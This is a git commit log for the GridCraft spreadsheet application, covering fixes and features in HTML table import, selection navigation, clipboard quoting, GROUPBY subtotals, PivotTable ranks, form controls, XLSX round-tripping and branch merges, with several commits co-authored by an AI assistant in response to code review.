Hector VillarrealandClaude Opus 5.5 e23994b7cb #3166: a web page's table keeps its characters, its shown text and its header formats
Addresses CodeRabbit review on #3223:
- "Decode HTML before parsing its cells": a page in Windows-1252 read as
  lossy UTF-8, so "Café" lost its é. The page is now decoded as a CSV is
  (BOM, UTF-8, else Windows-1252/1256); decode_text is exported for it.
- "Keep visible cell text when csv_as_text is enabled": opened as text, a
  cell with x:num took the recorded number ("4,50" became "4.5"). The
  recorded number is used only when values are read.
- "Preserve the imported format when styling a header": a date in a <th>
  lost its date format when made bold and centred. Header styling now
  builds on the style the CSV reader gave the cell.

Test: a_web_page_table_keeps_its_characters_text_and_header_formats.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:17:35 -06:00
Hector VillarrealandClaude Opus 5.5 5acb4af789 #1442: Ctrl+. skips corners the sheet can't select and stops once on a merged corner
Addresses CodeRabbit review on #3226:
- "Check the next corner against protected-sheet selection rules": on a
  sheet protected without Select Locked Cells, Ctrl+. could make a locked
  corner active. It now goes on to the next corner it may select.
- "Keep the active cell at a merged cell's anchor": a corner inside a
  merged cell made that cell active instead of the merge's top-left
  cell. The corner now lands on the top-left cell, and corners in the
  same merged cell are one stop.

Selection::next_corner_by takes where each corner leads (or None to skip
it); next_corner keeps its plain behaviour.

Tests: next_corner_skips_corners_the_sheet_protection_does_not_let_you_select,
next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:08:01 -06:00
Hector VillarrealandClaude Opus 5.5 c121fb5901 #2809: keep a workbook's R1C1 reference style through open and save
A workbook saved by Excel in R1C1 reference style says so in
<calcPr refMode="R1C1"/>. GridCraft didn't read the attribute, so
opening and saving such a file switched it back to A1 style for the
next person who opened it in Excel. The calculation settings now keep
it (CalcSettings.r1c1, serde default false) and the writer puts it back;
A1 stays the default and isn't written. GridCraft itself still shows
and takes A1 references; the R1C1 display and entry are the rest of
the issue.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:07:29 -06:00
Hector VillarrealandClaude Opus 5.5 fe965e7581 #2225: copy quotes only cells with a tab or line break
Copy wrapped any cell that held a double quote in quotes (and doubled
its quotes), so copying `say "hi"` into another app gave
`"say ""hi"""`. Excel quotes only text with a tab or line break; a cell
with just quotes goes on the clipboard as it is.

Pasting text read a field that starts with a quote as quoted even when
its closing quote doesn't end the field, so `"hi" there` (which Excel
copies as it is) pasted as `hi there`. A field is now quoted only when
its closing quote is followed by a tab, a line end or the end of the
text; otherwise it is the text as written, as Excel pastes it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 01:02:40 -06:00
Hector VillarrealandClaude Opus 5.5 2fe3bfc077 #1786: the live pen stroke is drawn as the ink it commits
While dragging with a pen, the stroke under the pointer was always
painted blue at 2 pt, whatever pen or highlighter was chosen, so the
preview and the committed ink disagreed (a highlighter previewed as a
thin blue line). The preview now uses the colour and width draw.stroke
stores (pen blue and 2 pt by default, 0.5-40 pt, whole points) and the
translucency Ink shapes are painted with above 8 pt.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:59:09 -06:00
Hector VillarrealandClaude Opus 5.5 49f2ef515b #1609: write page margins as their decimals
The page margins are kept as f32 and were widened to f64 when written,
so a 0.3-inch margin was saved as left="0.30000001192092896" (and 1.1
as 1.100000023841858). Each margin now goes through its shortest
decimal form first, so the file says 0.3, as Excel writes it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:52:58 -06:00
Hector VillarrealandClaude Opus 5.5 8b2550c9cf #1442: Ctrl+. moves to the next corner of the selection
Excel's Next Corner of Selection (Ctrl+., Control+. on a Mac) moves the
active cell clockwise to the next corner of the selected area (top-left,
top-right, bottom-right, bottom-left) and keeps the area selected; the
new active cell is also the anchor, so Shift+arrows then move the
opposite corner. GridCraft had no such command.

New command selection.nextCorner (Selection::next_corner) bound to
Ctrl+. on every platform. A one-row or one-column area goes end to end;
a single cell stays where it is.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:44:15 -06:00
Hector VillarrealandClaude Opus 5.5 d5c892f238 #2630: mark the checkbox mapping bag with its extRef
A workbook with checkboxes saved by GridCraft made Excel repair it
("Repaired records: Format from /xl/styles.xml (Styles)") and drop every
checkbox. The feature property bag part GridCraft writes for checkboxes
left out extRef="XFComplementsMapperExtRef" on the XFComplements bag,
the bag the cell formats' xfComplement indexes into. With it, Excel
opens the file without repairing and shows the checkboxes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:37:00 -06:00
Hector VillarrealandClaude Opus 5.5 ef8ac5e6db #1456: GROUPBY refuses oversized subtotals before building them, without recursion
Addresses CodeRabbit review on #3221, "Check the output size before
with_subtotals builds subtotal lines": the size limit was checked only
after every subtotal line existed. A row with 4000 key columns at total
depth 4000 nested with_subtotals 4000 levels deep and overflowed the
stack (the process aborted) before the late check could refuse it.

with_subtotals now works without recursion: each line gets an id for its
key prefix at every level, a stable sort by those ids keeps each group
together in first-appearance order, and one walk adds the subtotals.
The output size (with the header and total lines when present) is
checked while the groups are counted, before any subtotal line is built.

Test: groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:36:42 -06:00
Hector VillarrealandClaude Opus 5.5 ba1c62469d #3136: a move on another sheet keeps the active sheet's selection
Addresses CodeRabbit review on #3216, "Keep the selection on the sheet it
describes": moving Two!B1:B2 with Sheet1 active selected A1:A2 on
Sheet1, where nothing moved. The selection belongs to the active sheet,
so range.move now keeps it when the moved cells are on another sheet; a
move on the active sheet still selects the moved cells.

Test: drag_and_drop_on_another_sheet_stays_on_that_sheet (now also
checks the selection).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:31:59 -06:00
Hector VillarrealandClaude Opus 5.5 44460f23cf #3166: open a web page's table as a sheet, also when it is named .xls
Web apps' "Export to Excel" often writes an HTML table and names it
.xls. GridCraft read such a file as CSV text, so it opened as lines of
markup in column A. Excel opens the table (after warning that the
format and the extension don't match).

Opening a file whose bytes are a web page with a table now reads the
first table as a sheet, through the clipboard HTML table reader: the
cells go through the CSV reader, so values read as they do in a CSV
(and stay text with csvAsText); <th> cells are bold and centred; the
sheet takes the page's <x:Name> or the file's name. A page that isn't
named .htm/.html opens with a warning saying what it is.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:27:49 -06:00
Hector VillarrealandClaude Opus 5.5 044599c6ef #1448: a legacy "Count Numbers of" caption follows a new function
Addresses CodeRabbit review on #3219, "Recognize the legacy Count
Numbers caption when the function changes": workbooks saved before
Count Numbers was captioned "Count of" carry "Count Numbers of Val"
(optionally with a number suffix). pivot.valueSettings now treats that
as an automatic caption of a Count Numbers field, so changing the
function renames it; a custom name stays.

Test: legacy_count_numbers_caption_follows_the_function.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:27:25 -06:00
Hector VillarrealandClaude Opus 5.5 6874e0b689 #3136: range.move pastes on the range's sheet and asks before replacing spilled values
Addresses CodeRabbit review on #3216:
- "Pass the resolved sheet to the paste step": a sheet-qualified move
  (`Two!B1:B2` with Sheet1 active) was checked on Two but pasted on the
  active sheet, replacing its data unasked. range.move now calls
  paste_special with the range's sheet.
- "Check spilled values in the drop destination": cells showing a dynamic
  array's spilled values hold no cell of their own, so the drop replaced
  them without the prompt. They now count as data, as in Excel
  (ISBLANK of a spill cell is FALSE, COUNTA counts it).

Tests: drag_and_drop_on_another_sheet_stays_on_that_sheet,
drag_and_drop_asks_before_replacing_spilled_values.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:13:27 -06:00
Hector VillarrealandClaude Opus 5.5 1fd10711a5 #1456: GROUPBY total depth 2 or more adds subtotals
GROUPBY's total_depth only ever added one Total line. In Excel a depth
of N adds a subtotal line for each group of the first N - 1 key columns
(after the group, or before it when the depth is negative) and labels
the last line "Grand Total"; a depth greater than the number of key
columns, or above 1 with field_relationship 1 (a flat table), is
#VALUE!. The subtotals aggregate the group's source rows, so AVERAGE and
COUNT subtotals are right too.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:10:34 -06:00
Hector VillarrealandClaude Opus 5.5 7bea3d1d6a #1448: PivotTable ranks are dense; Count Numbers is captioned "Count of"
Show Values As › Rank Largest to Smallest counted every larger sibling,
so ties skipped ranks: 5, 4, 3, 3, 4 ranked 1, 2, 4, 4, 2 where Excel
gives 1, 2, 3, 3, 2. It now counts the distinct larger values.

A new Count Numbers value field was captioned "Count Numbers of Units";
Excel captions it "Count of Units", as GridCraft's XLSX reader already
names a value field saved without a name.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-03 00:06:14 -06:00
Hector VillarrealandClaude Opus 5.5 283789c1f4 #2339: write the XLDAPR extension URI in lower case next to rich values
A workbook with an in-cell picture and a dynamic-array formula wrote
the XLDAPR futureMetadata extension URI in upper case
({BDBB8CDC-…}), and Excel refuses such a workbook. The metadata part
written for dynamic arrays alone, which Excel opens, spells the same
URI in lower case; the rich-value writer now does too.

Together with #1533 (content types and the XLRICHVALUE URI) this lets
Excel open a workbook with an in-cell picture and a spilled formula.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-02 23:54:23 -06:00
Hector VillarrealandClaude Opus 5.5 5361e2c08a #3136: ask before a drag and drop replaces data
Dragging the selection's border onto cells that hold data replaced them
without asking, so dragging column B onto column A silently destroyed A.
Excel asks "There's already data here. Do you want to replace it?" first
(its "Alert before overwriting cells" option, on by default).

The drop now runs a new `range.move {range?, to, overwrite?}` command:
a cut and paste that returns a confirm question when the destination
holds data other than the moved cells; the grid shows it with OK and
Cancel, and OK runs it again with `overwrite: true`. A refused move
leaves the sheet and the clipboard as they were.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-02 23:43:02 -06:00
prxnvt 89e141ca3e Merge origin/main (7bb397a3, the squash of #494) into w/form-controls 2026-11-02 16:03:05 -05:00
prxnvt 99b5063489 XLSX: a kept VML drawing leaves out a modelled control by the number the reader gave it, its id before its o:spid, so the control is written once 2026-11-02 15:19:13 -05:00
prxnvt 02df071b4c XLSX: a kept VML drawing drops a shape as a note only when its client data's ObjectType is Note, so a control whose caption or other attribute reads like one is kept 2026-11-02 15:18:54 -05:00
prxnvt 5725f7b44e XLSX: a kept VML drawing drops a note whatever the case or quotes of its ObjectType, so a comment gets one note 2026-11-02 14:44:00 -05:00
prxnvt 00d79eb98a Form controls: control.format replies with the control as committed, so a new link's value shows 2026-11-02 14:21:29 -05:00
prxnvt 675d4b9a3c XLSX: form controls that only the VML drawing lists are kept on save when no <controls> element is left, as when the last listed control is modelled 2026-11-02 13:44:33 -05:00
prxnvt 57ad523b83 Form controls: a button's question is answered only while the workbook, sheet, button, action, macro and selection it asked about are unchanged 2026-11-02 13:39:50 -05:00
prxnvt 7202d1cf7c XLSX: a modelled control joins the Choice branch's <controls> element of a kept AlternateContent
The pass-through writer put GridCraft's control entries before the last <controls> close tag of
the kept fragment, so a kept mc:AlternateContent with separate <controls> elements in its Choice
and Fallback got them in the Fallback, which the reader (and an application that knows x14)
doesn't read: on reopen the control came back from its VML shape alone, without its name and
its properties part. The entries now go into the <controls> element the reader reads: the
Choice's when the Choice holds one, else the first one (a plain fragment, or a Fallback alone);
a Fallback's element is left as the file had it. Tags are matched by local name, with any
namespace prefix.

Test: a_modelled_control_joins_the_choice_controls_element_of_a_kept_alternate_content (the saved
Choice element holds the kept list box and the modelled slider, the Fallback only the list box;
the file reads back with the slider's name, link and value from its worksheet entry and
properties part, and the list box kept).
2026-11-02 12:33:10 -05:00
prxnvt c1249e3ad1 XLSX: a modelled control joins a kept <controls> element whatever its namespace prefix
The pass-through writer found the kept element's end by the literal `</controls>`, so a producer
that prefixes the main namespace (`</x:controls>`) got a second <controls> element for the
modelled controls, which the worksheet schema does not allow. The close tag is now found by its
local name with any prefix. No other literal tag search is left in rebase.rs; the ones in read.rs
(VML `<o:idmap>`, `<v:shapetype>`, `ObjectType="Note"`) rely on the fixed VML prefixes and are
main's code.

Test: a_modelled_control_joins_a_kept_controls_element_with_a_namespace_prefix (a kept
`<x:controls>` with a list box and a modelled slider save as one controls element holding both,
and the file reads back with the slider modelled and the list box kept).
2026-11-02 12:06:25 -05:00
prxnvt f18ec0407f Form controls: a fixed input range is refused for a macro that takes no inputs
A button could be given a fixed input range for any macro name; pressing it then passed the range
to macro.run as `inputs`, which check_params refuses for a macro without inputs ("it takes no
inputs"), so such a button failed on every press. Now insert.button and control.assign refuse a
fixed input when the named macro exists and declares no inputs, naming the macro; a macro the
workbook does not have yet is not checked, and the assignment is kept as given. On open, a stored
fixed input for a macro without inputs becomes the selection: the file itself assigns the macro
on the selection, and the stored range would fail every press.

Tests: a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned (insert and assign are
refused with the reason in any letter case; a macro with an input and a macro not yet defined
take the range; a stored fixed input comes back as the selection). format_and_assign and
a_kept_button_action_comes_back_only_on_the_same_button give their macro an input.
2026-11-02 12:06:25 -05:00
prxnvt 5483c7bc47 Merge origin/main (9172516a, the Python cells pull requests) into w/form-controls
ROADMAP.md: header combined (form controls first, then main's Python mode and Python cells notes); the form-controls progress-log and revision rows above main's Python rows.
crates/engine/src/io.rs: open_plain's doc comment names both (the button actions kept in hidden names, and the adopted Python cells); after the macros it loads the button actions, then adopts the Python cells and enforces their limits.
crates/ui-egui/src/theme.rs: this branch's sheet control colours and main's PY tag colour.
docs/file-format-parity.md: header combined (form controls first, then main's Python cells note); the form-controls revision row above main's Python row.
docs/ui-parity.md: header combined (form controls first, then main's Python mode note; ribbon catalog count 281 / 296); the form-controls revision row above main's Python row.
2026-11-02 11:39:35 -05:00
prxnvt 2fa94f111f Merge origin/main (6f52cc50, the squash of upstream pull request 471) into w/form-controls
Both sides added a kind of floating object (equation, form control); both are kept everywhere.
ROADMAP.md: header combined (form controls first, then equations), catalog 281 / 296 as `cargo xtask parity` measures, the form-controls progress-log and revision rows above main's equation rows.
crates/engine/src/cmd.rs: both spec lists (controls and equation).
crates/engine/src/cmd/extra.rs: the arrange params docs list both kinds.
crates/engine/src/cmd/extra/objects.rs: main's `found` match and `anchors_of` on ObjKind gain the Control arms; the unlocked check takes the parsed kind directly.
crates/engine/src/cmd/insert.rs: the object params docs and the kind error name both kinds.
crates/engine/src/tests.rs: both test modules.
crates/engine/src/tests/objects.rs: every_kind returns six objects (equation at L18, slider at P18) and the anchor lists carry both.
crates/model/src/features.rs: ObjKind has Equation and Control, ALL lists six kinds, name() both.
crates/model/src/sheet.rs: both imports, both accessor arms, the order test inserts equations (6, 8) and controls (13, 15) and documents controls after slicers with equations counted as shapes.
crates/model/src/workbook.rs: main's refresh_equations and this branch's free-id doc comment.
crates/ui-egui/src/chartview.rs: both doc comments combined.
crates/ui-egui/src/objects.rs: both OpenAction variants and arms.
crates/ui-egui/src/ribbon/insert.rs: the import list is the union.
docs/control-protocol.md: the kind list names equation and control; main's equation sentences and this branch's form-controls sentence.
docs/file-format-parity.md: header combined; the xlsx row carries both additions; the form-controls revision row above main's equation rows.
docs/parity-checklist.md: regenerated with `cargo xtask parity` (281 / 296).
docs/target-app-parity.md: header combined; catalog 281 / 296; the Insert objects row carries both additions; the form-controls revision row (277 / 292 → 281 / 296) above main's.
docs/ui-parity.md: header combined with catalog 281 / 296; main's move-and-resize row with equations plus the form-controls row; the form-controls revision row above main's.
2026-11-02 10:47:43 -05:00
prxnvt 5cbc168441 XLSX: a kept control beside a modelled one in the same AlternateContent stays with pass-through
without_controls dropped a whole child of a kept <controls> element as soon as one control in it
was modelled, so an mc:AlternateContent holding a scroll bar (modelled) and a list box (left to
pass-through) lost the list box's worksheet entry on save, while its VML shape and properties
part stayed. The controls are now taken out one by one, in the Choice and the Fallback branches
alike, by the shapeId the control reader reads (an attribute, in either quote style); the wrapper
stays while a control remains and goes only when it is empty, and a child with none of ours is
kept unchanged. strip_shapes already works per shape, so the kept control's shape stays, and its
properties part follows its relationship as before.

Test: an_unsupported_control_beside_a_modelled_one_in_one_alternate_content_is_kept (after open
and save the scroll bar is written once, the list box is still in <controls> in both branches
with its VML shape and its properties part, and the file reads back with one modelled control and
the kept one).
2026-11-02 05:39:45 -05:00
prxnvt 6b93106575 XLSX: a kept control is matched to the modelled ones as the reader reads it, in either quote style
without_controls found the controls to drop from a kept <controls> fragment by splitting its
text on `shapeId="`. The control reader takes the attribute through the XML parser, which also
accepts `shapeId='1025'`, so a producer's single-quoted control was modelled, its VML shape taken
out of the kept drawing, and the control itself still kept: a save wrote it twice, the kept copy
pointing at a shape that no longer existed. The kept child is now parsed and its controls found
with the reader's own helpers (controls_of_child, shape_number), so what the reader modelled is
what is dropped. The shape type check of the VML merge (`<v:shapetype id>`) accepts either
quote style too, so a kept drawing that defines our shape type with single quotes is not given
a second definition.

Test: a_single_quoted_shape_id_is_dropped_from_the_kept_controls_too (the control is read once,
nothing of it is kept, the saved sheet holds one control and no single-quoted copy, the VML one
shape, and the file reads back with one control).
2026-11-02 05:14:17 -05:00
prxnvt 112a9c78b9 Form controls: a linked cell's formula survives a write of the value it already shows
write_link skipped the write only when the linked cell held a constant equal to the value; a cell
with a formula was always written, so Format Control's OK (which sends the value back every
time) replaced the formula with a constant even when the formula showed that value, and on a
protected sheet with the linked cell locked a rename was refused. The value the cell shows is now
compared whether or not it holds a formula: a write that changes nothing is skipped, and a real
change still replaces the formula with the constant, as in Excel.

Test: a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows (insert and Format
Control with the value the formula shows keep the formula, also on a protected sheet with the
cell locked; a changed value writes the constant).
2026-11-02 05:13:55 -05:00
prxnvt d09694ff61 Form controls: a slicer tile under a control is not toggled by a click meant for the control
A click on a form control that form_controls::interact leaves to the grid (Ctrl or Cmd+click,
which selects the control; a click on a selected control, which moves it) fell through to the
slicer tile branch, which looks only at slicers, so a control placed over a slicer's value tile
had the tile toggled and the slicer selected before the generic object handling could select or
drag the control. The slicer tile branch now runs only when the press lands on a slicer by the
same test the generic path uses (the selected object's handle first, then the topmost object), so
the z-order decides once; a control over a tile, and a selected object's handle over one, keep
the generic path. Charts, pictures and shapes lie beneath slicers in that order, so they were not
affected.

Test (kittest): a_control_over_a_slicer_tile_keeps_the_generic_path_on_a_selecting_click (a button
over the first tile; Cmd+click selects the button and the slicer's filter is unchanged; a click
on the selected button still toggles nothing; an uncovered tile still toggles).
2026-11-02 04:46:13 -05:00
prxnvt 76c70c2b89 Merge origin/main (3379f12a, the squash of upstream pull request 501) into w/form-controls
ROADMAP.md: header combined (this branch's form-controls note first, then main's Solver Sensitivity report note; Last updated 2026-11-02); the form-controls progress-log and revision rows stay above main's Solver Sensitivity rows.
docs/target-app-parity.md: header combined (this branch's form-controls note first, then main's Solver Sensitivity report note); the form-controls revision row stays above main's Solver Sensitivity row.
2026-11-02 03:48:06 -05:00
prxnvt ccc2fb6076 Merge origin/main (f6a0556b, the squash of upstream pull request 470) into w/form-controls
origin/main's tree is identical to 05851de4, the head of pull request 470 that a4faa909 already merged, so every conflict is the same change on both sides and this branch's side is kept:
ROADMAP.md: this branch's side (main's #470 header text and rows are already in it, with the form-controls header text and rows).
crates/engine/src/cmd/edit/paste_special.rs: this branch's side (identical #470 change, plus the control kind).
crates/engine/src/cmd/extra.rs: this branch's side (identical #470 change, plus the control commands).
crates/engine/src/cmd/extra/objects.rs: this branch's side (identical #470 change, plus the control kind).
crates/engine/src/cmd/insert.rs: this branch's side (identical #470 change, plus the control kind in object.move).
crates/engine/src/cmd/sheet/tabs.rs: this branch's side (identical #470 change, plus a copied sheet's controls).
crates/engine/src/tests/objects.rs: this branch's side (both added the file; this branch's has #470's tests and the copied-sheet controls test).
crates/model/src/features.rs: this branch's side (identical #470 change, plus the form-control types).
crates/model/src/sheet.rs: this branch's side (identical #470 change, plus the controls field and its accessors).
crates/model/src/workbook.rs: this branch's side (identical #470 change, plus the controls' ids).
crates/ui-egui/src/chartview.rs: this branch's side (identical #470 change, plus hit-testing controls).
crates/ui-egui/src/grid/cursor.rs: this branch's side (identical #470 change, plus the control cursor).
crates/ui-egui/src/grid/interact.rs: this branch's side (identical #470 change, plus the form-control interaction).
crates/ui-egui/src/objects.rs: this branch's side (both added the file; this branch's has #470's code and the control kind).
docs/control-protocol.md: this branch's side (main's size-cap sentences are already in it, with the control kind paragraph).
docs/target-app-parity.md: this branch's side (main's #470 header text and row are already in it, with the form-controls header text and row).
docs/ui-parity.md: this branch's side (main's #470 header text and row are already in it, with the form-controls header text and row).
2026-11-02 03:37:59 -05:00
prxnvt d1f69878f6 Form controls: Space on a checkbox cell toggles it once while a slider or spin button is focused
With a slider or spin button focused, the Space key reached the grid and toggled a checkbox cell,
and the space it types then started a cell edit over the toggle (Escape cancelled the edit but
not the toggle). Now the typed space is dropped while a control is focused and the active cell
is a checkbox, as it is for a focused button: Space on a cell does what it does with no control
focused and nothing more, a checkbox cell toggles once with no edit, any other cell starts an
edit with a space. The path with no control focused is unchanged.

Test (kittest): space_on_a_checkbox_cell_toggles_it_once_while_a_slider_is_focused (toggled once,
no editor, the slider's value and focus unchanged; a second Space toggles back).
docs/ui-parity.md says so.
2026-11-02 03:06:40 -05:00
prxnvt 8495cc99e1 Form controls: Space on a focused slider or spin button starts a cell edit
The space a Space press types was dropped while any control was focused, because Space presses
a focused button. A slider or spin button doesn't take Space, so with one focused Space neither
worked the control nor started a cell edit, while every other character did. Now the space is
dropped only for a focused button; on a slider or spin button it reaches the grid like any other
character and starts a cell edit. The control keeps the keyboard, as the control last worked:
Space is a key it doesn't take, exactly like a letter, and letting go on Space alone would make
Space differ from every other printable key.

Test (kittest): space_starts_a_cell_edit_while_a_slider_or_spin_button_is_focused (a cell edit
starts with a space, the control's value is unchanged, Escape cancels, the arrows still step it).
docs/ui-parity.md says so.
2026-11-02 02:41:19 -05:00
prxnvt be0882a148 Form controls: a button gives the keyboard back when the grid takes a key or a click
A click on a button focused it, and the focus stayed while the grid moved the cell cursor with
the arrows, Tab or Delete, or opened a cell's menu with a right-click, so a later Enter or Space
pressed the button again without a new click, and Space could not start a cell edit. Now a key
press the focused button doesn't take (any key but Space, Enter and Escape, or one with Ctrl,
Cmd or Alt) gives the keyboard back to the grid, and any press that isn't a left click on the
grid, a right-click on a cell included, moves the focus off a control. A slider or spin button
keeps the keyboard as the control last worked.

Tests (kittest): a_button_gives_the_keyboard_back_when_the_grid_takes_a_key (arrow, then Enter
moves the cursor and does not press; arrow, then Space starts a cell edit; Cmd+arrow takes the
keyboard too) and a_right_click_on_a_cell_takes_the_keyboard_from_a_button. docs/ui-parity.md
says so.
2026-11-02 02:22:18 -05:00
prxnvt 36a44a35cb Form controls: a button never opens a web page or a dialog
A button's command ran through the macro policy and the file sandbox, but not through the macro
runner's request filter, so a file-borne button assigned `link.open {url}` opened the page once
the generic trust question was answered. Now `link.open` is refused for buttons up front, when it
is assigned and when a file brings it in, with the wording of the other denied commands; and
after a press runs its command, the UI requests it queued are checked as the macro runner checks
a step's: a dialog or a web page makes the press fail with the reason and rolls the group back,
a cell edit is dropped, and messages for the person stay queued.

Tests: link.open joins a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in
(assign, insert and a file-borne press refuse it; no OpenUrl request is left), and
a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs (insert.link with no
parameters is refused with the dialog wording and its request dropped; the filter refuses a page,
drops a cell edit and keeps messages). docs/macros.md says what a button's command may not do.
2026-11-02 02:20:48 -05:00
prxnvt 975d5407a1 Form controls: a kept button action must carry the button's name and anchor cell
An entry of the hidden name without `name` or `at`, or with something other than text there,
skipped those checks (is_none_or) and could pin its action onto whatever button sat at the stored
index. The writer always stores both keys, so such an entry is now dropped like an unparsable one
(is_some_and); the doc comment says so.

Test: a_kept_action_without_the_buttons_name_or_anchor_is_dropped (an entry without `name`,
without `at`, with a number for `name` and with null for `at` gives the button no action and the
hidden name is removed; the writer's own entry still comes back).
2026-11-02 02:13:19 -05:00
prxnvt a4faa9091e Merge w/objects (05851de4) into w/form-controls
crates/engine/src/cmd/insert.rs: the object.move params line keeps both the `control` kind (this branch) and the size-cap note (w/objects).
crates/engine/src/tests/objects.rs: both sides' new tests kept, the copied-sheet controls test first, then the two oversized-object tests.
crates/ui-egui/tests/it/chart_data_table.rs: w/objects' own fix (21a27a76, `selected_object = Some(ObjRef::new(ObjKind::Chart, id))`) replaces the equivalent select_object_id line of dcefd523.
docs/control-protocol.md: this branch's `control` kind paragraph, followed by w/objects' sentences on the object.move and chart.set size cap.
crates/model/src/sheet.rs: git merged both sides' `data_table: None` lines into the push_object Chart literal (dcefd523 and 21a27a76 made the same change at different places); the w/objects line is kept, the dcefd523 one dropped.
2026-11-02 02:09:25 -05:00
prxnvt 05851de46c Objects: the Format Chart Size fields show a chart's real size and send only the edited dimension
The Width and Height fields ranged 40 to 4,000 and sent both values on
every edit. egui clamps an existing value into a field's range, so a
chart a file made 12,000 wide showed "Width 4000", and typing a new
height sent that 4,000 as the width: the chart shrank although only its
height changed, and the cap `chart.set` keeps for an existing size
cannot help once the pane itself sends 4,000. Each field's range now
reaches the larger of 4,000 and the chart's current size, so the field
shows the real size, and a commit sends only the dimension that differs
from the chart's (`chart.set` reads `width` and `height` independently).

Test (real input): the_size_fields_keep_an_oversized_imported_chart_width_when_the_height_changes
reopens a workbook with a 12,000-wide chart, opens Format Chart Area's
Size section, checks the Width field shows 12000 and types 201 as the
height: the width stays 12,000, the height is 201 and the journaled
chart.set carries no width. Without the fix the field shows
"Width 4000".
2026-11-02 02:03:47 -05:00
prxnvt af28f01bfd Objects: dragging an object's body sends its position only, not its size
`drag_object` sent `width` and `height` with every step of a body drag,
so moving a picture a file made 12,000 wide shrank it to the 10,000 that
`object.move` gives a new size. Only a handle drag sends a size now; a
body move leaves the engine's size alone.

Tests (real input): dragging_the_body_of_an_oversized_imported_object_keeps_its_size
reopens the workbook with a 12,000 by 60 picture, drags its body by
30 by 25 and checks the size is untouched, the picture moved with the
pointer and the journaled `object.move` carries no width or height; it
fails without the fix (the journaled command carries both, and without
the engine's cap the picture is 10,000 wide).
a_handle_drag_on_an_oversized_imported_object_resizes_by_the_drag_only
moves the left handle 10 px right: the picture is 10 points narrower in
the window and keeps a width near 12,000, with no jump to the limit.
2026-11-02 01:58:23 -05:00
prxnvt 381a121339 Objects: object.move and chart.set keep a size a file made larger than 10,000
`object.move` clamped `width` and `height` to 10,000 points, the most it
gives a new size, while the XLSX reader accepts anchors far past that.
A resize of a picture a file made 12,000 wide passed 11,990 through the
clamp and jumped to 10,000; `chart.set`, whose Format Chart pane sends
the unchanged dimension back with the edited one, clamped the same way.

Each dimension is now capped at 10,000 or the object's current size,
whichever is larger (`size_cap`): such an object keeps its size when it
is moved, shrinks by what a resize asks and never grows further, and a
hostile size is still capped. The params doc of `object.move` and the
control protocol notes say so.

Tests: an_oversized_imported_object_keeps_its_size_when_moved_and_shrinks_only_by_a_resize
makes a picture 12,000 by 300, writes and reads it back as a file, then
moves it without a size (12,000 stays), asks 12,010 (stays 12,000),
11,990 (11,990, no jump) and 50,000 by 50,000 (11,990 by 10,000).
chart_set_keeps_a_chart_size_a_file_made_larger_than_the_limit does the
same through `chart.set`. Both fail without the fix (width 10,000).
2026-11-02 01:58:23 -05:00
prxnvt 21a27a76be Objects: main's chart data table compiles with the object selection and the model's object test
Two leftovers of the merge of origin/main (25881a8e), neither a textual
conflict: `Chart` gained a `data_table` field, which the `push_object`
helper of the model's object test did not set (it is `None`, as in
`insert.chart`); and chart_data_table.rs set the `selected_chart` field
this branch replaced by `selected_object`. The test selects its chart as
a floating object, as the branch's other tests do.
2026-11-02 01:57:49 -05:00
prxnvt 099349d91d Form controls: a macro assignment removed in another application stays removed on reopen
load_action_names gave every kept action back to a button the file assigned no macro. A button
that ran a macro with a fixed input range or an output cell, whose macro another application
removed while keeping the button's name and place, so came back with the assignment. Now a kept
macro action comes back only onto a button the file still assigns that macro, and a kept command
only onto a button the file assigns no macro, as the function's comment already said.

Tests: a_macro_assignment_removed_in_another_application_stays_removed (the saved file with the
controlPr macro attribute and the VML FmlaMacro removed reopens with no action and no hidden name;
unedited, with the whole action), a_macro_assigned_in_another_application_replaces_a_stored_command
(the file's macro wins over a kept command), and the cleared case in
a_kept_button_action_comes_back_only_on_the_same_button. macros.md and file-format-parity.md
describe the hidden name and the reopen rule.
2026-11-02 01:47:15 -05:00
prxnvt dcefd523eb Merge w/objects (082e3794, main 25881a8e) into w/form-controls
ROADMAP.md: both header changes (form controls first, then main's chart data tables), the form-controls progress-log and revision rows on top of main's rows.
docs/file-format-parity.md: both header changes (form controls first, then main's page order and chart data tables), the form-controls revision row on top of main's rows.
docs/macros.md: both header changes (form buttons first, then main's step-editor close rule).
docs/target-app-parity.md: both header changes (form controls and catalog 280 / 296 first, then main's ToolPak, page order and data tables), the form-controls revision row on top of main's rows.
docs/ui-parity.md: both header changes (form controls first, then main's Trace Error and page order; catalog count 280 / 296), the form-controls revision row on top of main's rows.
crates/model/src/sheet.rs: the push_object test helper (w/objects, b874f586) gets main's new Chart field, data_table: None, so the model crate's tests compile.
crates/ui-egui/tests/it/chart_data_table.rs: main's new test selects its chart through select_object_id, the one selection of w/objects, instead of the selected_chart field that w/objects replaced.
2026-11-02 01:47:07 -05:00
prxnvt 082e379412 Merge origin/main (25881a8e) into w/objects
